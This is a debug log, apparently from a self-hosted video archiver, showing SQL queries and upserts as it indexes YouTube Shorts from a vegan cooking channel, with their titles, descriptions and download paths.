idle=1004.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-02 16:00:07Z], 1] 20:27:50.303 [debug] QUERY OK source="media_items" db=1.4ms idle=1007.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It is so hot here right now so we decided to do a vegan ice cream review to find some of the best vegan ice creams around. If you're dairy free, lactose intolerant, gluten free, plant based, vegan or just want to decrease the amount of dairy you're consuming then you'll want to check out this vegan ice cream review below...\n\nFull Video: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe and like this video. Thanks for your support!!!", "Vegan ice cream review bloopers 😂#shorts #youtubeshorts", "1687958d-7f37-4924-9832-0e37ac8ae747", 1, [], 30, false, "G2kQh4kMKnc", "https://www.youtube.com/shorts/G2kQh4kMKnc", 279, "/downloads/downloads/alec/Steamy Vegan/2022-08-02 Vegan ice cream review bloopers 😂#shorts #youtubeshorts/Vegan ice cream review bloopers 😂#shorts #youtubeshorts [G2kQh4kMKnc].NA", false, false, true, 1, ~U[2022-08-02 16:00:07Z], ~U[2026-03-22 03:27:50Z], ~U[2026-03-22 03:27:50Z], "It is so hot here right now so we decided to do a vegan ice cream review to find some of the best vegan ice creams around. If you're dairy free, lactose intolerant, gluten free, plant based, vegan or just want to decrease the amount of dairy you're consuming then you'll want to check out this vegan ice cream review below...\n\nFull Video: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe and like this video. Thanks for your support!!!", "Vegan ice cream review bloopers 😂#shorts #youtubeshorts", 1, 30, false, "G2kQh4kMKnc", "https://www.youtube.com/shorts/G2kQh4kMKnc", "/downloads/downloads/alec/Steamy Vegan/2022-08-02 Vegan ice cream review bloopers 😂#shorts #youtubeshorts/Vegan ice cream review bloopers 😂#shorts #youtubeshorts [G2kQh4kMKnc].NA", true, ~U[2022-08-02 16:00:07Z]] 20:27:50.305 [debug] QUERY OK source="sources" db=1.3ms idle=62.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:50.306 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.2ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:50.307 [debug] QUERY OK source="media_items" db=0.8ms idle=7.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [668] 20:27:50.308 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Watch our vegan ice cream review! 🍦🍦🍦 https://youtu.be/rU4cirfns1Q You won’t want to miss our detailed breakdown of 4 different popular vegan ice creams with varying plant milk bases 🥛 \n\nOat, Coconut, Almond and Cashew! \n\nHit that SUBSCRIBE button if you like vegan (and gluten free) recipes that are easy, delicious and affordable 😁", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-29 The ultimate vegan ice cream review! 🌱🍦/The ultimate vegan ice cream review! 🌱🍦 [XC-HWG2ab8U].NA", "id" => "XC-HWG2ab8U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/XC-HWG2ab8U", "playlist_index" => 280, "timestamp" => 1659110961, "title" => "The ultimate vegan ice cream review! 🌱🍦", "upload_date" => "20220729"} 20:27:50.309 [debug] QUERY OK source="sources" db=1.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:50.310 [debug] QUERY OK source="sources" db=0.4ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:50.312 [debug] QUERY OK source="media_items" db=2.4ms idle=4.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-29 16:09:21Z], 1] 20:27:50.314 [debug] QUERY OK source="media_items" db=0.9ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Watch our vegan ice cream review! 🍦🍦🍦 https://youtu.be/rU4cirfns1Q You won’t want to miss our detailed breakdown of 4 different popular vegan ice creams with varying plant milk bases 🥛 \n\nOat, Coconut, Almond and Cashew! \n\nHit that SUBSCRIBE button if you like vegan (and gluten free) recipes that are easy, delicious and affordable 😁", "The ultimate vegan ice cream review! 🌱🍦", "40f2d80e-e55e-4293-85e1-afd0d2adf890", 1, [], 13, false, "XC-HWG2ab8U", "https://www.youtube.com/shorts/XC-HWG2ab8U", 280, "/downloads/downloads/alec/Steamy Vegan/2022-07-29 The ultimate vegan ice cream review! 🌱🍦/The ultimate vegan ice cream review! 🌱🍦 [XC-HWG2ab8U].NA", false, false, true, 0, ~U[2022-07-29 16:09:21Z], ~U[2026-03-22 03:27:50Z], ~U[2026-03-22 03:27:50Z], "Watch our vegan ice cream review! 🍦🍦🍦 https://youtu.be/rU4cirfns1Q You won’t want to miss our detailed breakdown of 4 different popular vegan ice creams with varying plant milk bases 🥛 \n\nOat, Coconut, Almond and Cashew! \n\nHit that SUBSCRIBE button if you like vegan (and gluten free) recipes that are easy, delicious and affordable 😁", "The ultimate vegan ice cream review! 🌱🍦", 1, 13, false, "XC-HWG2ab8U", "https://www.youtube.com/shorts/XC-HWG2ab8U", "/downloads/downloads/alec/Steamy Vegan/2022-07-29 The ultimate vegan ice cream review! 🌱🍦/The ultimate vegan ice cream review! 🌱🍦 [XC-HWG2ab8U].NA", true, ~U[2022-07-29 16:09:21Z]] 20:27:50.315 [debug] QUERY OK source="sources" db=0.6ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:50.316 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:50.316 [debug] QUERY OK source="media_items" db=0.4ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [669] 20:27:50.317 [debug] Current batch of media processed. Will check again in 1000ms 20:27:51.318 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "POV: The only thing getting me through this heat wave 🔥🥵 ☀️ is my #icedcoffee @silk.canada @starbucks \n\nCoffee: Starbucks Verona blend ☕️ \nPlant milk: Organic unsweetened soy \nAnd a little bloop of maple 🍁 syrup \n\nI’ll be over here making sweat angels 😇 on my kitchen floor for the remainder of the week byeeeeeeee ✌🏻 \n\nPS: if you have AC you are BLESSED 🥲\n\n#heatwave #steamyvegankitchen #steamyvegan #sweat #yvr #yvreats #yvrfoodie #yvrfoodies #vancouverfoodie #vancouverveganfoodie #vancouverveganfood #vancouvervegans", "duration" => 10, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-28 #icedcoffee is my lifeline #heatwaves 🥵🔥🫠☀️#youtubeshorts #youtube/#icedcoffee is my lifeline #heatwaves 🥵🔥🫠☀️#youtubeshorts #youtube [HALoxSE11N4].NA", "id" => "HALoxSE11N4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HALoxSE11N4", "playlist_index" => 281, "timestamp" => 1659048382, "title" => "#icedcoffee is my lifeline #heatwaves 🥵🔥🫠☀️#youtubeshorts #youtube", "upload_date" => "20220728"} 20:27:51.319 [debug] QUERY OK source="sources" db=0.4ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:51.320 [debug] QUERY OK source="sources" db=0.5ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:51.322 [debug] QUERY OK source="media_items" db=2.2ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-28 22:46:22Z], 1] 20:27:51.324 [debug] QUERY OK source="media_items" db=1.4ms idle=1006.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["POV: The only thing getting me through this heat wave 🔥🥵 ☀️ is my #icedcoffee @silk.canada @starbucks \n\nCoffee: Starbucks Verona blend ☕️ \nPlant milk: Organic unsweetened soy \nAnd a little bloop of maple 🍁 syrup \n\nI’ll be over here making sweat angels 😇 on my kitchen floor for the remainder of the week byeeeeeeee ✌🏻 \n\nPS: if you have AC you are BLESSED 🥲\n\n#heatwave #steamyvegankitchen #steamyvegan #sweat #yvr #yvreats #yvrfoodie #yvrfoodies #vancouverfoodie #vancouverveganfoodie #vancouverveganfood #vancouvervegans", "#icedcoffee is my lifeline #heatwaves 🥵🔥🫠☀️#youtubeshorts #youtube", "aef7f2ac-65bd-47e6-ae1e-383e48337c42", 1, [], 10, false, "HALoxSE11N4", "https://www.youtube.com/shorts/HALoxSE11N4", 281, "/downloads/downloads/alec/Steamy Vegan/2022-07-28 #icedcoffee is my lifeline #heatwaves 🥵🔥🫠☀️#youtubeshorts #youtube/#icedcoffee is my lifeline #heatwaves 🥵🔥🫠☀️#youtubeshorts #youtube [HALoxSE11N4].NA", false, false, true, 0, ~U[2022-07-28 22:46:22Z], ~U[2026-03-22 03:27:51Z], ~U[2026-03-22 03:27:51Z], "POV: The only thing getting me through this heat wave 🔥🥵 ☀️ is my #icedcoffee @silk.canada @starbucks \n\nCoffee: Starbucks Verona blend ☕️ \nPlant milk: Organic unsweetened soy \nAnd a little bloop of maple 🍁 syrup \n\nI’ll be over here making sweat angels 😇 on my kitchen floor for the remainder of the week byeeeeeeee ✌🏻 \n\nPS: if you have AC you are BLESSED 🥲\n\n#heatwave #steamyvegankitchen #steamyvegan #sweat #yvr #yvreats #yvrfoodie #yvrfoodies #vancouverfoodie #vancouverveganfoodie #vancouverveganfood #vancouvervegans", "#icedcoffee is my lifeline #heatwaves 🥵🔥🫠☀️#youtubeshorts #youtube", 1, 10, false, "HALoxSE11N4", "https://www.youtube.com/shorts/HALoxSE11N4", "/downloads/downloads/alec/Steamy Vegan/2022-07-28 #icedcoffee is my lifeline #heatwaves 🥵🔥🫠☀️#youtubeshorts #youtube/#icedcoffee is my lifeline #heatwaves 🥵🔥🫠☀️#youtubeshorts #youtube [HALoxSE11N4].NA", true, ~U[2022-07-28 22:46:22Z]] 20:27:51.325 [debug] QUERY OK source="sources" db=0.2ms idle=81.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:51.325 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:51.326 [debug] QUERY OK source="media_items" db=0.5ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [670] 20:27:51.327 [debug] Current batch of media processed. Will check again in 1000ms 20:27:52.328 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "It is so hot that I could turn myself into vegan vanilla ice cream right now. Well in our new video launching this week we review and eat so much vegan ice cream that we almost turn into vanilla ice cream just like Peter Griffin from Family Guy.\n\nSubscribe and stay tuned for the full video! Thanks for your support!\n\nCheck out our vegan ice cream review video here: https://youtu.be/rU4cirfns1Q\nCheck out our nice cream recipe video here: https://youtu.be/NG-i9_B_rmM", "duration" => 50, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-28 How to turn yourself into ice cream with Peter Griffin 😳🍦#shorts #familyguy #youtubeshorts/How to turn yourself into ice cream with Peter Griffin 😳🍦#shorts #familyguy #youtubeshorts [DY2VFFBRlio].NA", "id" => "DY2VFFBRlio", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/DY2VFFBRlio", "playlist_index" => 282, "timestamp" => 1659024015, "title" => "How to turn yourself into ice cream with Peter Griffin 😳🍦#shorts #familyguy #youtubeshorts", "upload_date" => "20220728"} 20:27:52.329 [debug] QUERY OK source="sources" db=0.3ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:52.329 [debug] QUERY OK source="sources" db=0.2ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:52.332 [debug] QUERY OK source="media_items" db=2.0ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-28 16:00:15Z], 1] 20:27:52.334 [debug] QUERY OK source="media_items" db=2.0ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It is so hot that I could turn myself into vegan vanilla ice cream right now. Well in our new video launching this week we review and eat so much vegan ice cream that we almost turn into vanilla ice cream just like Peter Griffin from Family Guy.\n\nSubscribe and stay tuned for the full video! Thanks for your support!\n\nCheck out our vegan ice cream review video here: https://youtu.be/rU4cirfns1Q\nCheck out our nice cream recipe video here: https://youtu.be/NG-i9_B_rmM", "How to turn yourself into ice cream with Peter Griffin 😳🍦#shorts #familyguy #youtubeshorts", "0694cd0d-5a22-4549-a834-bd45d21952b6", 1, [], 50, false, "DY2VFFBRlio", "https://www.youtube.com/shorts/DY2VFFBRlio", 282, "/downloads/downloads/alec/Steamy Vegan/2022-07-28 How to turn yourself into ice cream with Peter Griffin 😳🍦#shorts #familyguy #youtubeshorts/How to turn yourself into ice cream with Peter Griffin 😳🍦#shorts #familyguy #youtubeshorts [DY2VFFBRlio].NA", false, false, true, 1, ~U[2022-07-28 16:00:15Z], ~U[2026-03-22 03:27:52Z], ~U[2026-03-22 03:27:52Z], "It is so hot that I could turn myself into vegan vanilla ice cream right now. Well in our new video launching this week we review and eat so much vegan ice cream that we almost turn into vanilla ice cream just like Peter Griffin from Family Guy.\n\nSubscribe and stay tuned for the full video! Thanks for your support!\n\nCheck out our vegan ice cream review video here: https://youtu.be/rU4cirfns1Q\nCheck out our nice cream recipe video here: https://youtu.be/NG-i9_B_rmM", "How to turn yourself into ice cream with Peter Griffin 😳🍦#shorts #familyguy #youtubeshorts", 1, 50, false, "DY2VFFBRlio", "https://www.youtube.com/shorts/DY2VFFBRlio", "/downloads/downloads/alec/Steamy Vegan/2022-07-28 How to turn yourself into ice cream with Peter Griffin 😳🍦#shorts #familyguy #youtubeshorts/How to turn yourself into ice cream with Peter Griffin 😳🍦#shorts #familyguy #youtubeshorts [DY2VFFBRlio].NA", true, ~U[2022-07-28 16:00:15Z]] 20:27:52.335 [debug] QUERY OK source="sources" db=0.3ms idle=89.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:52.335 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:52.336 [debug] QUERY OK source="media_items" db=0.5ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [671] 20:27:52.336 [debug] Current batch of media processed. Will check again in 1000ms 20:27:53.337 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Is this possibly Homer and Bart Simpson's best idea ever for staying cool in the summertime? For maybe some better ideas, subscribe and stay tuned for some of our upcoming vegan and gluten free ice cream review and recipe videos!", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-27 Homer Simpson’s Best Idea Ever For Homemade AC 😂❄️#shorts #youtubeshorts/Homer Simpson’s Best Idea Ever For Homemade AC 😂❄️#shorts #youtubeshorts [UPTRwrFXw2s].NA", "id" => "UPTRwrFXw2s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/UPTRwrFXw2s", "playlist_index" => 283, "timestamp" => 1658962822, "title" => "Homer Simpson’s Best Idea Ever For Homemade AC 😂❄️#shorts #youtubeshorts", "upload_date" => "20220727"} 20:27:53.338 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", 